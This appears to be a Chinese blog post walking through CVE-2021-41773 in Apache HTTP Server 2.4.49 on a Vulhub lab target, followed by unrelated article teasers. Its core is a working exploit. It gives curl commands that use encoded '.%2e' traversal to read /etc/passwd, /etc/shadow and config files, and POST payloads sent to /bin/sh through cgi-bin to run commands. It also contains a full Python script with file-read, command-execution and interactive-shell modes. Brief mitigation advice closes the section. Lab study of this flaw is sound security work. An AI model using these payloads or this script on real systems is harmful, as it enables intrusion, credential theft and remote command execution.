发布时间:2026/6/23 19:59:41
CVE-2021-41773 Apache HTTP Server 路径穿越与远程命令执行漏洞
漏洞信息项目内容CVE 编号CVE-2021-41773漏洞类型路径穿越 (Path Traversal) → 任意文件读取 / 远程命令执行 (RCE)影响组件Apache HTTP Server影响版本2.4.49 仅此版本2.4.48 及之前不受此版本特有的路径穿越影响2.4.50 修复靶场版本Apache HTTP Server 2.4.49 (Unix) mod_cgi / mod_cgid 已启用靶机地址http://192.168.229.60:8080/Vulhub 路径/vulhub/vulhub/httpd/CVE-2021-41773/利用条件配置文件必须包含Directory /Require all granted/Directory本靶场已配置漏洞原理背景Apache HTTP Server 2.4.49 版本在路径规范化URL path normalization处理逻辑中存在缺陷。当 URL 路径中包含.%2e即 URL 编码的../组合时Apache 的路径解析函数未能正确规范化导致可以绕过目录限制访问 Web 根目录以外的文件。漏洞成因正常请求 GET /icons/README HTTP/1.1 → Apache 规范化路径/usr/local/apache2/htdocs/icons/README ✅ ​ 路径穿越请求 GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 → Apache 未能正确解码并规范化 .%2e (即..) → 实际访问/etc/passwd ❌访问路径分析 ┌──────────────────────────────────────────────────┐ │ /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ../ ../ ../ │ │ └──────┬──────┘ │ │ │ ▼ │ │ │ /icons/向上穿越一次 │ │ │ │ │ │ │ 连续4次穿越 │ │ │ │ │ │ │ 路径: /icons → / → / → / → / → /etc/passwd │ └──────────────────────────────────────────────────┘RCE 原理当 Apache 同时启用了mod_cgi或mod_cgid时路径穿越可以访问到/cgi-bin/目录之外的 CGI 脚本。通过穿越到/bin/sh并传入 POST 数据可以实现任意命令执行POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh Content-Type: application/x-www-form-urlencoded ​ echo;id/cgi-bin/是 Apache 默认配置的 CGI 脚本目录路径穿越到/bin/sh系统 shellecho;确保输出不会干扰标准输出后续命令以 daemon 用户权限执行攻击步骤Step 1确认靶机版本GET / HTTP/1.1 Host: 192.168.229.60:8080HTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) Content-Type: text/html ​ htmlbodyh1It works!/h1/body/html确认 Apache 版本为2.4.49存在漏洞。Step 2路径穿越读取任意文件利用.%2e绕过路径检查读取服务器上的任意文件# 读取 /etc/passwd curl -v --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ...关键参数说明--path-as-is— 告诉 curl不要自动规范化URL 中的路径必须使用/icons/— Apache 默认存在的可访问目录.%2e— URL 编码后的.点与后面的%2e组合解码后为..上级目录更多文件读取示例# 读取 Apache 配置文件 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/conf/httpd.conf ​ # 读取 Web 目录下的脚本源码保护源码不被直接访问 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/htdocs/index.html ​ # 读取系统敏感文件 curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow curl --path-as-is http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hostsStep 3CGI 模式远程命令执行RCE当服务器启用了mod_cgi或mod_cgid本靶场已开启路径穿越可访问到系统 shellcurl -v --data echo;id http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/shHTTP/1.1 200 OK Server: Apache/2.4.49 (Unix) ​ uid1(daemon) gid1(daemon) groups1(daemon)命令以daemon用户身份执行。通过更换 POST body 可以执行任意命令curl --data echo;ls -la / http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh curl --data echo;cat /etc/passwd http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh curl --data echo;whoami http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/shPython 版完整利用脚本#!/usr/bin/env python3 CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal RCE Exploit Author: Vulhub Lab ​ import requests import sys import urllib.parse ​ class CVE_2021_41773: def __init__(self, target, port80): self.base_url fhttp://{target}:{port} self.session requests.Session() def read_file(self, filepath, directory/icons): 路径穿越读取任意文件 Args: filepath: 目标文件路径如 /etc/passwd directory: 起始目录默认 /icons Returns: 文件内容字符串失败返回 None # 构建穿越路径: 从 /icons 需要穿越到根然后再到目标 traversal /.%2e/%2e%2e/%2e%2e/%2e%2e url f{self.base_url}{directory}{traversal}{filepath} print(f[*] Reading: {filepath}) print(f[*] URL: {url}) try: # --path-as-is 对应 Python 中不自动规范化路径 r self.session.get(url, timeout10) if r.status_code 200 and len(r.text) 0: print(f[] Success! ({len(r.text)} bytes)) return r.text else: print(f[-] Failed: HTTP {r.status_code}) return None except requests.exceptions.RequestException as e: print(f[-] Error: {e}) return None def exec_command(self, command): 通过 CGI 路径穿越执行系统命令 (RCE) Args: command: 要执行的命令如 id, ls -la / Returns: 命令输出字符串失败返回 None url f{self.base_url}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh payload fecho;{command} print(f[*] Executing: {command}) print(f[*] POST to: {url}) try: r self.session.post(url, datapayload, timeout10) if r.status_code 200 and len(r.text) 0: print(f[] Success! ({len(r.text)} bytes)) return r.text else: print(f[-] Failed: HTTP {r.status_code}) return None except requests.exceptions.RequestException as e: print(f[-] Error: {e}) return None def interactive_shell(self): 交互式命令执行 print([*] CVE-2021-41773 RCE Interactive Shell (type exit to quit)) print([*] Commands run as daemon user) print() while True: try: cmd input($ ).strip() if cmd.lower() in (exit, quit): break if not cmd: continue output self.exec_command(cmd) if output: print(output) except KeyboardInterrupt: print(\n[*] Exiting...) break except Exception as e: print(f[-] Error: {e}) ​ ​ def banner(): print( * 55) print( CVE-2021-41773 - Apache 2.4.49 Path Traversal / RCE) print( * 55) print() ​ def main(): banner() if len(sys.argv) 3: print(Usage:) print( python3 cve-2021-41773.py target port read filepath) print( python3 cve-2021-41773.py target port exec command) print( python3 cve-2021-41773.py target port shell) print() print(Examples:) print( python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd) print( python3 cve-2021-41773.py 192.168.229.60 8080 exec id) print( python3 cve-2021-41773.py 192.168.229.60 8080 shell) sys.exit(1) target sys.argv[1] port int(sys.argv[2]) action sys.argv[3] exploit CVE_2021_41773(target, port) if action read and len(sys.argv) 5: filepath sys.argv[4] content exploit.read_file(filepath) if content: print( * 55) print(content.rstrip()) print( * 55) elif action exec and len(sys.argv) 5: command .join(sys.argv[4:]) output exploit.exec_command(command) if output: print( * 55) print(output.rstrip()) print( * 55) elif action shell: exploit.interactive_shell() else: print([-] Invalid action or missing arguments) ​ ​ if __name__ __main__: main()使用示例# 读取文件 python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd ​ # 执行命令 python3 cve-2021-41773.py 192.168.229.60 8080 exec id ​ # 交互式 Shell python3 cve-2021-41773.py 192.168.229.60 8080 shell关键要点总结✅/⚠️要点✅CVE-2021-41773 仅影响 Apache HTTP Server2.4.49 这一个版本非常罕见的单一版本漏洞✅路径穿越利用.%2eURL 编码的..绕过路径规范化 → 任意文件读取✅远程命令执行当mod_cgi/mod_cgid开启时可通过/cgi-bin/.%2e/../bin/sh执行命令✅--path-as-is是 curl 利用的关键参数否则 curl 会自动规范化路径导致攻击失败✅RCE 以daemon用户权限执行非 root但已足够造成严重破坏⚠️修复方案升级到 Apache2.4.50或更高版本⚠️临时缓解在配置中移除Directory /Require all granted/Directory⚠️如果业务无法升级可在 WAF/Nginx 反向代理层拦截包含%2e或..的请求路径⚠️该漏洞在 2021 年 10 月被公开后 48 小时内即出现大量在野利用属于紧急修补类漏洞

相关新闻

3个步骤+5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄
2026/6/23 19:59:41

3个步骤+5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄

3个步骤5个技巧:用AntiMicroX让任何游戏都支持你的游戏手柄 【免费下载链接】antimicrox Graphical program used to map keyboard buttons and mouse controls to a gamepad. Useful for playing games with no gamepad support. 项目地址: https://gitcode.com/…

阅读更多
【路径规划】整合ACO和FMO的算法机器人路径规划(采用五次PH曲线进行路径平滑)【含Matlab源码 15655期】
2026/6/23 18:59:41

【路径规划】整合ACO和FMO的算法机器人路径规划(采用五次PH曲线进行路径平滑)【含Matlab源码 15655期】

💥💥💥💥💥💥💥💥💞💞💞💞💞💞💞💞💞Matlab武动乾坤博客之家💞…

阅读更多
android compose Card 卡片 使用
2026/6/23 18:59:41

android compose Card 卡片 使用

android compose Card 卡片 使用以下是一些需要注意的关键参数:elevation:为组件添加阴影,使其看起来高于背景。colors:使用 CardColors 类型设置容器和所有子项的默认颜色。enabled:如果您为此参数传递 false&#xf…

阅读更多
快充协议测试技术全解析:QC/PD/SCP/FCP,到底怎么测?
2026/6/23 20:59:41

快充协议测试技术全解析:QC/PD/SCP/FCP,到底怎么测?

前言2024年,100W以上快充已经成为旗舰手机的标配,200W以上也不再罕见。充电头企业、适配器代工厂面临的现实是:每款适配器出厂前,要验证QC、PD、SCP、FCP……七八种协议是否都能正确响应,一台台手测早就不现实了。本文…

阅读更多
性价比高的大理石高端工程公司
2026/6/23 20:59:41

性价比高的大理石高端工程公司

在高端工程项目中,大理石的选择往往决定了整体空间的格调和品质。无论是星级酒店的大堂、别墅的客厅,还是商业综合体的公共区域,天然大理石带来的质感和视觉冲击力,是其他材料难以替代的。然而,不少工程方在采购大理石…

阅读更多
5分钟搞定3DS游戏格式难题:3dsconv转换工具终极指南
2026/6/23 20:59:41

5分钟搞定3DS游戏格式难题:3dsconv转换工具终极指南

5分钟搞定3DS游戏格式难题:3dsconv转换工具终极指南 【免费下载链接】3dsconv Python script to convert Nintendo 3DS CCI (".cci", ".3ds") files to the CIA format 项目地址: https://gitcode.com/gh_mirrors/3d/3dsconv 你是否曾经…

阅读更多
Ai Three.js编辑器
2026/6/23 20:59:41

Ai Three.js编辑器

开发历程 低代码的开发是非常曲折的,尤其是早期根本没有任何参考作品或者 相关的一些知识博客去引领我们去做,会经历多次的推到再到重头再来,又需要开发者有很高的知识储备,举步维艰。,目前 web 二维 在市场上已经非常…

阅读更多
BetterNCM Installer II终极指南:3分钟快速安装网易云音乐插件管理器
2026/6/23 20:59:41

BetterNCM Installer II终极指南:3分钟快速安装网易云音乐插件管理器

BetterNCM Installer II终极指南:3分钟快速安装网易云音乐插件管理器 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer BetterNCM Installer II是一款专为网易云音乐PC客户端…

阅读更多
Java入门第30课:封装、private、getter/setter
2026/6/23 19:59:41

Java入门第30课:封装、private、getter/setter

一、学习目标理解面向对象三大特性之一:封装的含义与好处掌握 private 私有访问修饰符作用熟练编写 get、set 方法操作私有成员变量在 set 方法中增加数据合法性校验分清四种访问修饰符简单区别二、封装思想1. 为什么需要封装?之前代码中成员变量直接暴露…

阅读更多
嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南
2026/6/23 3:25:21

嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南

1. 项目概述与G.726 ADPCM技术背景在嵌入式语音处理领域,带宽和存储资源往往是寸土寸金的。如果你做过对讲机、VoIP网关或者早期的数字录音设备,一定对如何在有限的比特率下保住语音可懂度这件事深有感触。我当年接手一个车载调度系统的项目,…

阅读更多
ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性
2026/6/23 4:51:28

ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性

1. 项目概述与核心挑战在数字视频处理领域,将原始的视频数据、同步时序以及各种辅助信息打包成一个标准、稳定的串行数据流,是确保设备间互联互通的基础。ITU-R BT.656标准(常简称为ITU656)正是为此而生的一套“交通规则”。它定义…

阅读更多
嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南
2026/6/23 0:40:11

嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南

1. 项目概述与emWin核心价值解析在嵌入式系统开发领域,人机交互(HMI)的设计正从简单的LED指示灯和按键,快速向全彩图形化界面演进。无论是智能家电上的触摸屏、工业PLC的操作面板,还是医疗设备的参数显示,一…

阅读更多
3分钟快速上手:Qwen3大语言模型本地部署完全指南
2026/6/23 0:59:31

3分钟快速上手:Qwen3大语言模型本地部署完全指南

3分钟快速上手:Qwen3大语言模型本地部署完全指南 【免费下载链接】Qwen1.5 Qwen3 is the large language model series developed by Qwen team, Alibaba Cloud. 项目地址: https://gitcode.com/GitHub_Trending/qw/Qwen1.5 阿里巴巴Qwen3大语言模型系列以其…

阅读更多
微信聊天记录备份指南:使用WeChatExporter轻松保存您的珍贵回忆
2026/6/23 0:59:31

微信聊天记录备份指南:使用WeChatExporter轻松保存您的珍贵回忆

微信聊天记录备份指南:使用WeChatExporter轻松保存您的珍贵回忆 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 在数字时代,微信聊天记录承载着我…

阅读更多
Cortex-M指令集深度解析:饱和运算、位域操作与分支控制实战
2026/6/23 0:59:31

Cortex-M指令集深度解析:饱和运算、位域操作与分支控制实战

1. 从指令到效率:为什么Cortex-M指令集值得深挖如果你在嵌入式领域摸爬滚打了一段时间,尤其是跟ARM Cortex-M系列单片机打交道,那你肯定对“写寄存器”、“调库函数”这套流程熟得不能再熟了。但不知道你有没有过这样的感觉:项目代…

阅读更多
GIT修改用户名
2026/6/23 8:19:27

GIT修改用户名

在GIT中修改用户名可按以下步骤操作: 查看当前git的用户名,使用命令git config --list或git config user.name。修改git用户名,使用命令git config --global user.name "xxx(新的用户名)",将其中…

阅读更多
Win11Debloat:让你的Windows系统重获新生的终极优化工具
2026/6/22 10:07:50

Win11Debloat:让你的Windows系统重获新生的终极优化工具

Win11Debloat:让你的Windows系统重获新生的终极优化工具 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and …

阅读更多
技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践
2026/6/23 6:37:14

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter m4s-converter是一个…

阅读更多